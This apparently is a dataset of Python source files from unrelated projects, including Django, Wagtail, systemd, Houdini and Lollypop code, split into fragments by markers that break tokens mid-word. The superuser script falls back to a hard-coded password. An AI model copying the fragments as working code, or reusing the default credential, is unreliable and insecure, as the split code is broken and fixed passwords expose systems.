onaio/kpi | kpi/management/commands/create_kobo_superuser.py | Python | agpl-3.0 | 1,204 | 0.000831 | # -*- coding: utf-8 -*-
import sys
import os
from django.db.utils import ProgrammingError
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
class Command(BaseCommand):
help = 'Create `superuser` if user does not already exist'
def handle(self, *args, **options):
super_username = os.getenv('KOBO_SUPERUSER_USERNAME', 'kobo')
if User.objects.filter(username=super_username).count() > 0:
self.stdout.write('User already exists.')
sys.exit()
try:
User.objects.create_superuser(
os.getenv('KOBO_SUPERUSER_USERNAME', 'kobo'),
| os.getenv('KOBO_SUPERUSER_EMAIL', 'kobo@example.com'),
os.getenv('KOBO_SUPERUSER_PASSWORD', 'kobo'))
except ProgrammingError: # Signals fail when `kc` database
pass | # doesn't exist yet.
except Exception as e:
self.stdout.write('Superuser could not be created.\n'
'Error: {}'.format(str(e)))
if User.objects.filter(username=super_username).count() > 0:
self.stdout.write('Superuser successfully created.')
|
mganeva/mantid | qt/python/mantidqt/widgets/samplelogs/test/test_samplelogs_view.py | Python | gpl-3.0 | 939 | 0 | # Mantid Repository : https://github.com/mantidproject/mantid
#
# Copyright © 2019 ISIS Rutherford Appleton Laboratory UKRI,
# NScD Oak Ridge National Laboratory, European Spallation Source
# & Institut Laue - Langevin
# SPD | X - License - Identifier: GPL - 3.0 +
# This file is part of the mantid workbench.
from qtpy.QtWidgets import QApplication
import matplotlib as mpl
mpl.use('Agg') # noqa
from mantid.simpleapi import CreateSampleWorkspace
from m | antidqt.utils.qt.testing import GuiTest
from mantidqt.utils.qt.testing.qt_widget_finder import QtWidgetFinder
from mantidqt.widgets.samplelogs.presenter import SampleLogs
class SampleLogsViewTest(GuiTest, QtWidgetFinder):
def test_deleted_on_close(self):
ws = CreateSampleWorkspace()
pres = SampleLogs(ws)
self.assert_widget_created()
pres.view.close()
QApplication.processEvents()
self.assert_no_toplevel_widgets()
|
yozel/alskdjBlog | apps/comment/models.py | Python | gpl-3.0 | 3,341 | 0.002394 | from django.contrib.auth.models import User
from django.db import models
from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic
from django.db.models.signals import post_save
from django.core.cache import cache
from django.utils.translation import ugettext_lazy as _
from external.node import comment_node
class Comment(models.Model):
content = models.TextField(_("comment"))
creation_date = models.DateTimeField(auto_now_add=True, blank=True)
is_published = models.BooleanField(default=True)
is_activated = models.BooleanField(default=True)
activation_code = models.CharField(max_length=100)
author = models.ForeignKey(User, null=True, blank=True)
parent_comment = models.ForeignKey('self', null=True, blank=True)
belong_content_type = models.ForeignKey(ContentType)
belong_object_id = models.PositiveIntegerField()
belong_to = generic.GenericForeignKey(
"belong_content_type", "belong_object_id")
def __unicode__(self):
return self.belong_to.title + ": " + self.content[:50]
# Bu statik metod bir topic'e ait tum yorumlarin cekilebilmesini sagliyor
@staticmethod
def get_all_comments(belong_content_type, belong_object_id, cache_this=True):
if | cache_this:
all_comments = cache.get('comments_for_post/%s/%s/' % (belong_content_type.id, belong_object_id))
if all_comments is None:
all_comments = Comment.objects.select_related('author').filter(
belong_content_type=belong_content_type,
| belong_object_id=belong_object_id,
is_activated=True,
is_published=True,
)
cache.set('comments_for_post/%s/%s/' % (belong_content_type.id, belong_object_id), all_comments)
else:
all_comments = Comment.objects.select_related('author').filter(
belong_content_type=belong_content_type,
belong_object_id=belong_object_id,
is_activated=True,
is_published=True,
)
comments = dict((e.id, comment_node(e)) for e in all_comments)
will_be_deleted = []
for e in all_comments:
if e.parent_comment_id is not None:
comments[e.parent_comment_id].add_child(comments[e.id])
will_be_deleted.append(e.id)
for key in will_be_deleted:
comments.pop(key)
return comments
# Belirli bir topic'e ait yorumlarin onbelleginin temizlenmesini saglar
def refresh_comment_cache(belong_content_type_id, belong_object_id):
try:
content_type = ContentType.objects.get_for_id(belong_content_type_id)
all_comments = Comment.objects.select_related('author').filter(
belong_content_type=content_type,
belong_object_id=belong_object_id,
is_activated=True,
is_published=True,
)
cache.set('comments_for_post/%s/%s/' % (belong_content_type_id, belong_object_id), all_comments)
except Comment.DoesNotExist:
pass
def comment_saved(**kwargs):
comment = kwargs['instance']
refresh_comment_cache(comment.belong_content_type.id, comment.belong_object_id)
post_save.connect(comment_saved, sender=Comment) |
thenewguy/wagtailplus | wagtailplus/wagtailrelations/models.py | Python | bsd-2-clause | 11,444 | 0.004107 | """
Contains application model definitions.
"""
import decimal
import inspect
import six
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils import timezone
from django.utils.encoding import python_2_unicode_compatible
from django.utils.functional import cached_property
from django.utils.translation import ugettext_lazy as _
from taggit.models import Tag
from treebeard.mp_tree import MP_Node
from .app_settings import (
AUTHORITATIVE_FACTOR,
CATEGORY_FACTOR,
LIKE_TYPE_FACTOR,
TAG_FACTOR
)
class LiveEntryCategoryManager(models.Manager):
"""
Custom manager for Category models.
"""
def get_queryset(self):
"""
Returns queryset limited to categories with live Entry instances.
:rtype: django.db.models.query.QuerySet.
"""
queryset = super(LiveEntryCategoryManager, self).get_queryset()
return queryset.filter(tag__in=[
entry_tag.tag
for entry_tag
in EntryTag.objects.filter(entry__live=True)
])
@python_2_unicode_compatible
class Category(MP_Node):
"""
Stores a hierarchical category, which is essentially a specialized tag.
"""
name = models.CharField(_(u'Name'), max_length=255, unique=True)
tag = models.ForeignKey('taggit.Tag', editable=False)
objects = models.Manager()
live_entries = LiveEntryCategoryManager()
node_order_by = ('name',)
class Meta(object):
verbose_name = _(u'Category')
verbose_name_plural = _(u'Categories')
ordering = ('path',)
@cached_property
def entries(self):
"""
Returns list of Entry instances assigned to this category.
:rtype: list.
"""
return self.get_entries()
@cached_property
def total(self):
"""
Returns the total number of entries tagged with this category.
:rtype: int.
"""
return EntryTag.objects.for_category(self).count()
def __str__(self):
"""
Returns category name.
:rtype: str.
"""
return '{0}'.format(self.name.title())
def get_entries(self):
"""
Returns list of Entry instances assigned to this category.
:rtype: list.
"""
return [
result.entry
for result
in EntryTag.objects.for_category(self)
]
def save(self, *args, **kwargs):
"""
Saves the category instance.
"""
self.set_tag()
super(Category, self).save(*args, **kwargs)
def set_tag(self):
"""
Sets corresponding Tag instance.
"""
try:
self.tag = Tag.objects.get(name__iexact=self.name)
except Tag.DoesNotExist:
self.tag = Tag.objects.create(name=self.name)
class EntryManager(models.Manager):
"""
Custom manager for Entry models.
"""
def get_for_model(self, model):
"""
Returns tuple (Entry instance, created) for specified
model instance.
:rtype: wagtailplus.wagtailrelations.models.Entry.
"""
return self.get_or_create(
content_type = ContentType.objects.get_for_model(model),
object_id = model.pk
)
def get_for_tag(self, tag):
"""
Returns queryset of Entry instances assigned to specified
tag, which can be a PK value, a slug value, or a Tag instance.
:param tag: tag PK, slug, or instance.
:rtype: django.db.models.query.QuerySet.
"""
tag_filter = {'tag': tag}
if isinstance(tag, six.integer_types):
tag_filter = {'tag_id': tag}
elif isinstance(tag, str):
tag_filter = {'tag__slug': tag}
return self.filter(id__in=[
entry_tag.entry_id
for entry_tag
in EntryTag.objects.filter(**tag_filter)
])
@python_2_unicode_compatible
class Entry(models.Model):
"""
Generically stores information for a tagged model instance.
"""
content_type = models.ForeignKey('contenttypes.ContentType')
object_id = models.PositiveIntegerField(_(u'Object ID'))
content_object = GenericForeignKey('content_type', 'object_id')
created = models.DateTimeField(_(u'Created'))
modified = models.DateTimeField(_(u'Modified'))
title = models.CharField(_(u'Title'), max_length=255, blank=True)
url = models.CharField(_(u'URL'), max_length=255, blank=True)
live = models.BooleanField(_(u'Live?'), default=True)
objects = EntryManager()
class Meta(object):
verbose_name = _(u'Entry')
verbose_name_plural = _(u'Entries')
ordering = ('title',)
@cached_property
def related(self):
"""
Returns list related Entry instances.
:rtype: list.
"""
return self.get_related()
@cached_property
def related_with_scores(self):
"""
Returns list of related tuples (Entry instance, score).
:rtype: list.
"""
return self.get_related_with_scores()
@property
def tags(self):
"""
Returns list of Tag instances associated with this instance.
:rtype: list.
"""
return [
result.tag
for result
in self.entry_tags.all()
]
def __str__(self):
"""
Returns title for this instance.
:rtype: str.
"""
return '{0}'.format(self.title)
@staticmethod
def get_authoritative_score(related):
"""
Returns authoritative score for specified related Entry instance.
:param related: the related Entry instance.
:rtype: decimal.Decimal.
"""
# Older entries that are updated over time *should* be more
# considered more authoritative than older entries that are
# not updated.
age = max((timezone.now() - related.created).total_seconds(), 1)
delta = max((related.modified - related.created).total_seconds(), 1)
return decimal.Dec | imal(
(float(delta) / float(age)) * AUTHORITATIVE_FACTOR
)
def get_categories(self):
"""
Returns queryset of assigned Category instances.
:rtype: django.db.models.query.QuerySet.
"""
return Category.objects.filter(tag__in=self.tags)
def get_ca | tegory_score(self, related):
"""
Returns category score for this instance and specified related
Entry instance.
:param related: the related Entry instance.
:rtype: decimal.Decimal.
"""
score = 0
tags = set(self.tags) & set(related.tags)
total = len(tags)
# Score each category by dividing it's depth by the total
# number of entries assigned to that category.
for category in Category.objects.filter(tag__in=tags):
score += (float(category.depth) / float(category.total))
return decimal.Decimal(
min((float(score) / float(total)), 1) * CATEGORY_FACTOR
)
def get_like_type_score(self, related):
"""
:rtype: decimal.Decimal.
"""
s_tree = inspect.getmro(self.content_type.model_class())
r_tree = inspect.getmro(related.content_type.model_class())
shared = len(set(s_tree) & set(r_tree))
total = len(set(s_tree + r_tree))
return decimal.Decimal(
(float(shared) / float(total)) * LIKE_TYPE_FACTOR
)
def get_related(self):
"""
Returns set of related Entry instances.
:rtype: set.
"""
return set([
result.entry
for result
in EntryTag.objects.related_to(self)
])
def get_related_score(self, related):
"""
Returns related score for this instance and specified related
Entry |
msekletar/systemd | tools/update-dbus-docs.py | Python | gpl-2.0 | 11,862 | 0.003456 | #!/usr/bin/env python3
# SPDX-License-Identifier: LGPL-2.1-or-later
import argparse
import collections
import sys
import os
import subprocess
import io
try:
from lxml import etree
except ModuleNotFoundError as e:
etree = e
try:
from shlex import join as shlex_join
except ImportError as e:
shlex_join = e
try:
from shlex import quote as shlex_quote
except ImportError as e:
shlex_quote = e
class NoCommand(Exception):
pass
BORING_INTERFACES = [
'org.freedesktop.DBus.Peer',
'org.freedesktop.DB | us.Introspectable',
'org.freedesktop.DBus.Properties',
]
RED = '\x1b[31m'
GREEN = '\x1b[32m'
YELLOW = '\x1b[33m'
RESET = '\x1b[39m'
def xml_parser():
return etree.XMLParser(no_network=True,
remove_comments=False,
strip_cdata=False,
resolve_entities=False)
def print_method(declarations, elem, *, p | refix, file, is_signal=False):
name = elem.get('name')
klass = 'signal' if is_signal else 'method'
declarations[klass].append(name)
# @org.freedesktop.systemd1.Privileged("true")
# SetShowStatus(in s mode);
for anno in elem.findall('./annotation'):
anno_name = anno.get('name')
anno_value = anno.get('value')
print(f'''{prefix}@{anno_name}("{anno_value}")''', file=file)
print(f'''{prefix}{name}(''', file=file, end='')
lead = ',\n' + prefix + ' ' * len(name) + ' '
for num, arg in enumerate(elem.findall('./arg')):
argname = arg.get('name')
if argname is None:
if opts.print_errors:
print(f'method {name}: argument {num+1} has no name', file=sys.stderr)
argname = 'UNNAMED'
type = arg.get('type')
if not is_signal:
direction = arg.get('direction')
print(f'''{lead if num > 0 else ''}{direction:3} {type} {argname}''', file=file, end='')
else:
print(f'''{lead if num > 0 else ''}{type} {argname}''', file=file, end='')
print(f');', file=file)
ACCESS_MAP = {
'read' : 'readonly',
'write' : 'readwrite',
}
def value_ellipsis(type):
if type == 's':
return "'...'";
if type[0] == 'a':
inner = value_ellipsis(type[1:])
return f"[{inner}{', ...' if inner != '...' else ''}]";
return '...'
def print_property(declarations, elem, *, prefix, file):
name = elem.get('name')
type = elem.get('type')
access = elem.get('access')
declarations['property'].append(name)
# @org.freedesktop.DBus.Property.EmitsChangedSignal("false")
# @org.freedesktop.systemd1.Privileged("true")
# readwrite b EnableWallMessages = false;
for anno in elem.findall('./annotation'):
anno_name = anno.get('name')
anno_value = anno.get('value')
print(f'''{prefix}@{anno_name}("{anno_value}")''', file=file)
access = ACCESS_MAP.get(access, access)
print(f'''{prefix}{access} {type} {name} = {value_ellipsis(type)};''', file=file)
def print_interface(iface, *, prefix, file, print_boring, only_interface, declarations):
name = iface.get('name')
is_boring = (name in BORING_INTERFACES or
only_interface is not None and name != only_interface)
if is_boring and print_boring:
print(f'''{prefix}interface {name} {{ ... }};''', file=file)
elif not is_boring and not print_boring:
print(f'''{prefix}interface {name} {{''', file=file)
prefix2 = prefix + ' '
for num, elem in enumerate(iface.findall('./method')):
if num == 0:
print(f'''{prefix2}methods:''', file=file)
print_method(declarations, elem, prefix=prefix2 + ' ', file=file)
for num, elem in enumerate(iface.findall('./signal')):
if num == 0:
print(f'''{prefix2}signals:''', file=file)
print_method(declarations, elem, prefix=prefix2 + ' ', file=file, is_signal=True)
for num, elem in enumerate(iface.findall('./property')):
if num == 0:
print(f'''{prefix2}properties:''', file=file)
print_property(declarations, elem, prefix=prefix2 + ' ', file=file)
print(f'''{prefix}}};''', file=file)
def document_has_elem_with_text(document, elem, item_repr):
predicate = f".//{elem}" # [text() = 'foo'] doesn't seem supported :(
for loc in document.findall(predicate):
if loc.text == item_repr:
return True
return False
def check_documented(document, declarations, stats):
missing = []
for klass, items in declarations.items():
stats['total'] += len(items)
for item in items:
if klass == 'method':
elem = 'function'
item_repr = f'{item}()'
elif klass == 'signal':
elem = 'function'
item_repr = item
elif klass == 'property':
elem = 'varname'
item_repr = item
else:
assert False, (klass, item)
if not document_has_elem_with_text(document, elem, item_repr):
if opts.print_errors:
print(f'{klass} {item} is not documented :(')
missing.append((klass, item))
stats['missing'] += len(missing)
return missing
def xml_to_text(destination, xml, *, only_interface=None):
file = io.StringIO()
declarations = collections.defaultdict(list)
interfaces = []
print(f'''node {destination} {{''', file=file)
for print_boring in [False, True]:
for iface in xml.findall('./interface'):
print_interface(iface, prefix=' ', file=file,
print_boring=print_boring,
only_interface=only_interface,
declarations=declarations)
name = iface.get('name')
if not name in BORING_INTERFACES:
interfaces.append(name)
print(f'''}};''', file=file)
return file.getvalue(), declarations, interfaces
def subst_output(document, programlisting, stats):
executable = programlisting.get('executable', None)
if executable is None:
# Not our thing
return
executable = programlisting.get('executable')
node = programlisting.get('node')
interface = programlisting.get('interface')
argv = [f'{opts.build_dir}/{executable}', f'--bus-introspect={interface}']
if isinstance(shlex_join, Exception):
print(f'COMMAND: {" ".join(shlex_quote(arg) for arg in argv)}')
else:
print(f'COMMAND: {shlex_join(argv)}')
try:
out = subprocess.check_output(argv, universal_newlines=True)
except FileNotFoundError:
print(f'{executable} not found, ignoring', file=sys.stderr)
return
xml = etree.fromstring(out, parser=xml_parser())
new_text, declarations, interfaces = xml_to_text(node, xml, only_interface=interface)
programlisting.text = '\n' + new_text + ' '
if declarations:
missing = check_documented(document, declarations, stats)
parent = programlisting.getparent()
# delete old comments
for child in parent:
if (child.tag == etree.Comment
and 'Autogenerated' in child.text):
parent.remove(child)
if (child.tag == etree.Comment
and 'not documented' in child.text):
parent.remove(child)
if (child.tag == "variablelist"
and child.attrib.get("generated",False) == "True"):
parent.remove(child)
# insert pointer for systemd-directives generation
the_tail = programlisting.tail #tail is erased by addnext, so save it here.
prev_element = etree.Comment("Autogenerated cross-references for systemd.directives, do not edit")
programlisting.addnext(prev_element)
programlisting.tail = the_tail
for interface in interfaces:
variablelist = etree.Element("variablelist")
variablelist.attrib['class'] = 'dbus-interface'
variablelist.attrib['generated'] = 'True'
|
arantebillywilson/python-snippets | py2/htp/ch08/fig08_10.py | Python | mit | 1,448 | 0.001381 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# fig08_10.py
#
# Author: Billy Wilson Arante
# Created: 2016/10/10
from rational import Rational
def main():
"""Main"""
# Objects of class Rational
rational1 = Rational() # 1/1
rational2 = Rational(10, 30) # 10/30 reduces to 1/3
rational3 = Rational(-7, 14) # -7/14 reduces to -1/2
# Printing objects of class Rational
print "Rational 1:", rational1
print "Rational 2:", rational2
print "Rational 3:", rational3
print
# Testing mathematical operators
print rational1, "/", rational2, "=", rational1 / rational2
print rationa | l3, "-", rational2, "=", rational3 - rational | 2
print rational2, "*", rational3, "-", rational1, "=", \
rational2 * rational3 - rational1
# Overloading + implicitly overloads +=
rational1 += rational2 * rational3
print "\nrational1 after adding rational2 * rational3:", rational1
print
# Test comparison operators
print rational1, "<=", rational2, ":", rational1 <= rational2
print rational1, ">", rational3, ":", rational1 > rational3
print
# Test built-in function abs
print "The absolute value of", rational3, "is:", abs(rational3)
print
# Test coercion
print rational2, "as an integer is:", int(rational2)
print rational2, "as a float is:", float(rational2)
print rational2, "+ 1 =", rational2 + 1
if __name__ == "__main__":
main()
|
maxiimou/project_euler | exercice1.py | Python | lgpl-3.0 | 96 | 0.010417 | mult_of_3_5 = | [el for el in range(1000) if (el % 3 ==0 or el % 5 == 0)]
pr | int(sum(mult_of_3_5))
|
lento/cortex | test/IECoreHoudini/FromHoudiniPolygonsConverter.py | Python | bsd-3-clause | 38,040 | 0.057755 | ##########################################################################
#
# Copyright 2010 Dr D Studios Pty Limited (ACN 127 184 954) (Dr. D Studios),
# its affiliates and/or its licensors.
#
# Copyright (c) 2010-2015, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# * Neither the name of Image Engine Design nor the names of any
# other contributors to this software may be used to endorse or
# promote products derived from this software without specific prior
# written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
##########################################################################
import hou
import IECore
import IECoreHoudini
import unittest
import os
class TestFromHoudiniPolygonsConverter( IECoreHoudini.TestCase ) :
def createBox( self ) :
obj = hou.node("/obj")
geo = obj.createNode("geo", run_init_scripts=False)
box = geo.createNode( "box" )
return box
def createTorus( self ) :
obj = hou.node("/obj")
geo = obj.createNode("geo", run_init_scripts=False)
torus = geo.createNode( "torus" )
torus.parm( "rows" ).set( 10 )
torus.parm( "cols" ).set( 10 )
return torus
def createPoints( self ) :
obj = hou.node("/obj")
geo = obj.createNode("geo", run_init_scripts=False)
box = geo.createNode( "box" )
facet = geo.createNode( "facet" )
facet.parm("postnml").set(True)
points = geo.createNode( "scatter" )
points.parm( "npts" ).set( 5000 )
facet.setInput( 0, box )
points.setInput( 0, facet )
return points
# creates a converter
def testCreateConverter( self ) :
box = self.createBox()
converter = IECoreHoudini.FromHoudiniPolygonsConverter( box )
self.assert_( converter.isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
return converter
# creates a converter
def testFactory( self ) :
box = self.createBox()
converter = IECoreHoudini.FromHoudiniGeometryConverter.create( box )
self.assert_( converter.isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
converter = IECoreHoudini.FromHoudiniGeometryConverter.create( box, resultType = IECore.TypeId.MeshPrimitive )
self.assert_( converter.isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
converter = IECoreHoudini.FromHoudiniGeometryConverter.create( box, resultType = IECore.TypeId.Parameter )
self.assertEqual( converter, None )
self.failUnless( IECore.TypeId.MeshPrimitive in IECoreHoudini.FromHoudiniGeometryConverter.supportedTypes() )
converter = IECoreHoudini.FromHoudiniGeometryConverter.createDummy( IECore.TypeId.MeshPrimitive )
self.assert_( converter. | isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
converter = IECoreHoudini.FromHoudiniGeometryConverter.createDummy( [ IECore.TypeId.MeshPrimitive ] )
self.assert_( converter.isInstanceOf( IECore | .TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
# performs geometry conversion
def testDoConversion( self ) :
converter = self.testCreateConverter()
result = converter.convert()
self.assert_( result.isInstanceOf( IECore.TypeId.MeshPrimitive ) )
def testConvertFromHOMGeo( self ) :
geo = self.createBox().geometry()
converter = IECoreHoudini.FromHoudiniGeometryConverter.createFromGeo( geo )
self.failUnless( converter.isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
result = converter.convert()
self.failUnless( result.isInstanceOf( IECore.TypeId.MeshPrimitive ) )
converter2 = IECoreHoudini.FromHoudiniGeometryConverter.createFromGeo( geo, IECore.TypeId.MeshPrimitive )
self.failUnless( converter2.isInstanceOf( IECore.TypeId( IECoreHoudini.TypeId.FromHoudiniPolygonsConverter ) ) )
## \todo: make sure we catch that bad_cast crash
# convert a mesh
def testConvertMesh( self ) :
torus = self.createTorus()
converter = IECoreHoudini.FromHoudiniPolygonsConverter( torus )
result = converter.convert()
self.assertEqual( result.typeId(), IECore.MeshPrimitive.staticTypeId() )
bbox = result.bound()
self.assertEqual( bbox.min.x, -1.5 )
self.assertEqual( bbox.max.x, 1.5 )
self.assertEqual( result.variableSize( IECore.PrimitiveVariable.Interpolation.Vertex ), 100 )
self.assertEqual( result.numFaces(), 100 )
self.assertEqual( len( result.verticesPerFace ), 100 )
for i in range( len( result.verticesPerFace ) ) :
self.assertEqual( result.verticesPerFace[i], 4 )
self.assertEqual( len( result.vertexIds ), 400 )
for i in range( len( result.vertexIds ) ) :
self.assert_( result.vertexIds[i] >= 0 )
self.assert_( result.vertexIds[i] < 100 )
# test prim/vertex attributes
def testConvertPrimVertAttributes( self ) :
torus = self.createTorus()
geo = torus.parent()
# add vertex normals
facet = geo.createNode( "facet", node_name = "add_point_normals" )
facet.parm("postnml").set(True)
facet.setInput( 0, torus )
# add a primitive colour attributes
primcol = geo.createNode( "primitive", node_name = "prim_colour" )
primcol.parm("doclr").set(1)
primcol.parm("diffr").setExpression("rand($PR)")
primcol.parm("diffg").setExpression("rand($PR+1)")
primcol.parm("diffb").setExpression("rand($PR+2)")
primcol.setInput( 0, facet )
# add a load of different vertex attributes
vert_f1 = geo.createNode( "attribcreate", node_name = "vert_f1", exact_type_name=True )
vert_f1.parm("name").set("vert_f1")
vert_f1.parm("class").set(3)
vert_f1.parm("value1").setExpression("$VTX*0.1")
vert_f1.setInput( 0, primcol )
vert_f2 = geo.createNode( "attribcreate", node_name = "vert_f2", exact_type_name=True )
vert_f2.parm("name").set("vert_f2")
vert_f2.parm("class").set(3)
vert_f2.parm("size").set(2)
vert_f2.parm("value1").setExpression("$VTX*0.1")
vert_f2.parm("value2").setExpression("$VTX*0.1")
vert_f2.setInput( 0, vert_f1 )
vert_f3 = geo.createNode( "attribcreate", node_name = "vert_f3", exact_type_name=True )
vert_f3.parm("name").set("vert_f3")
vert_f3.parm("class").set(3)
vert_f3.parm("size").set(3)
vert_f3.parm("value1").setExpression("$VTX*0.1")
vert_f3.parm("value2").setExpression("$VTX*0.1")
vert_f3.parm("value3").setExpression("$VTX*0.1")
vert_f3.setInput( 0, vert_f2 )
vert_i1 = geo.createNode( "attribcreate", node_name = "vert_i1", exact_type_name=True )
vert_i1.parm("name").set("vert_i1")
vert_i1.parm("class").set(3)
vert_i1.parm("type").set(1)
vert_i1.parm("value1").setExpression("$VTX*0.1")
vert_i1.setInput( 0, vert_f3 )
vert_i2 = geo.createNode( "attribcreate", node_name = "vert_i2", exact_type_name=True )
vert_i2.parm("name").set("vert_i2")
vert_i2.parm("class").set(3)
vert_i2.parm("type").set(1)
vert_i2.parm("size").set(2)
vert_i2.parm("value1").setExpression("$VTX*0.1")
vert_i2.parm("value2").setExpression("$VTX*0.1")
vert_i2.set |
gnumdk/lollypop | lollypop/controllers.py | Python | gpl-3.0 | 13,447 | 0 | # Copyright (c) 2014-2017 Cedric Bellegarde <cedric.bellegarde@adishatz.org>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from gi.repository import GLib, Gst
from gettext import gettext as _
from lollypop.define import Type, Lp
from lollypop.utils import seconds_to_string
class PlaybackController:
"""
Button controller (for toolbars)
"""
def __init__(self):
"""
Init controller
"""
pass
def on_current_changed(self, player):
"""
Update toolbar
@param player as Player
"""
self._play_btn.set_sensitive(True)
self._prev_btn.set_sensitive(not Lp().player.locked)
self._next_btn.set_sensitive(not Lp().player.locked)
def on_prev_changed(self, player):
"""
Update prev button
@param player as Player
"""
if player.prev_track.id == Type.RADIOS:
self._prev_btn.set_tooltip_text(
", ".join(player.prev_track.album_artists))
elif player.prev_track.id is not None:
prev_artists = GLib.markup_escape_text(
", ".join(player.prev_track.artists))
prev_title = GLib.markup_escape_text(player.prev_track.title)
self._prev_btn.set_tooltip_markup("<b>%s</b> - %s" %
(prev_artists,
prev_title))
else:
self._prev_btn.set_tooltip_text("")
def on_next_changed(self, player):
"""
Update toolbar
@param player as Player
"""
if player.next_track.id == Type.RADIOS:
self._next_btn.set_tooltip_text(
", ".join(player.next_track.album_artists))
elif player.next_track.id is not None:
next_artists = GLib.markup_escape_text(
", ".join(player.next_track.artists))
next_title = GLib.markup_escape_text(player.next_track.title)
self._next_btn.set_tooltip_markup("<b>%s</b> - %s" %
(next_artists,
next_title))
else:
self._prev_btn.set_tooltip_text("")
def on_status_changed(self, player):
"""
Update buttons and progress bar
@param player as Player
"""
# GTK bug, should not be needed, see #1214
self._play_btn.set_sensitive(True)
if player.is_playing:
self.__change_play_btn_status(self._pause_image, _("Pause"))
else:
self.__change_play_btn_status(self._play_image, _("Play"))
#######################
# PROTECTED #
#######################
def _on_prev_btn_clicked(self, button):
"""
Previous track on prev button clicked
@param button as Gtk.Button
"""
Lp().player.prev()
def _on_play_btn_clicked(self, button):
"""
Play/Pause on play button clicked
@param button as Gtk.Button
"""
if Lp().player.is_playing:
Lp().player.pause()
self.__change_play_btn_status(self._play_image, _("Play"))
else:
Lp().player.play()
self.__change_play_btn_status(self._pause_image, _("Pause"))
def _on_next_btn_clicked(self, button):
"""
Next track on next button clicked
@param button as Gtk.Button
"""
Lp().player.next()
#######################
# PRIVATE #
#######################
def __change_play_btn_status(self, image, status):
"""
Update play button with image and status as tooltip
@param image as Gtk.Image
@param status as str
"""
self._play_btn.set_image(image)
self._play_btn.set_tooltip_text(status)
class ProgressController:
"""
Progress controller (for toolbars)
"""
def __init__(self):
"""
Init progress controller (for toolbars)
"""
# Prevent updating progress while seeking
self.__seeking = False
# Update pogress position
self.__timeout_id = None
# Show volume control
self._show_volume_control = False
Lp().player.connect("duration-changed", self.__on_duration_changed)
def on_current_changed(self, player):
"""
Update scale on current changed
@param player as Player
"""
if self._show_volume_control:
return
self._progress.clear_marks()
if player.current_track.id is None:
self._progress.set_sensitive(False)
self._total_time_label.set_text("")
return
self._progress.set_value(0.0)
self._timelabel.set_text("0:00")
if player.current_track.id == Type.RADIOS:
self._progress.set_sensitive(False)
self._total_time_label.set_text("")
self._progress.set_range(0.0, 0.0)
else:
self._progress.set_sensitive(True)
self._progress.set_range(0.0, player.current_track.duration)
self._total_time_label.set_text(
seconds_to_string(player.current_track.duration))
def on_status_changed(self, player):
"""
Update buttons and progress bar
@param player as Player
"""
if player.is_playing:
if self.__timeout_id is None:
self.__timeout_id = GLib.timeout_add(1000,
self._update_position)
else:
self._update_position()
if self.__timeout_id is not None:
GLib.source_remove(self.__timeout_id)
self.__timeout_id = None
#######################
# PROTECTED #
#######################
def _update_state(self):
"""
Update controller state volume vs progress
"""
if self._show_volume_control:
self._timelabel.set_text(_("Volume"))
# Inhibit _on_value_changed()
self._show_volume_control = False
self._progress.set_range(0.0, 1.0)
self._show_volume_control = True
self._progress.set_sensitive(True)
self._update_position()
else:
self.on_current_changed(Lp().player)
if Lp().player.current_track.id is None:
self._timelabel.set_text("")
self._progress.set_value(0.0)
self._progress.set_range(0.0, 0.0)
self._progress.set_sensitive(False)
else:
self._update_position()
def _on_value_changed(self, scale):
"""
Adjust volume
"""
if not self._show_volume_control:
| return
Lp().player.set_volume(scale.get_value())
self._update_position(scale.get_value())
def _on_title_press_button(self, widget, event):
"""
Show/Hide volume control
| @param widget as Gtk.Widget
@param event as Gdk.Event
"""
if event.button != 1:
self.show_hide_volume_control()
return True
def _on_progress_press_button(self, scale, event):
"""
On press, mark player as seeking
@param scale as Gtk.Scale
@param event as Gdk.Event
"""
|
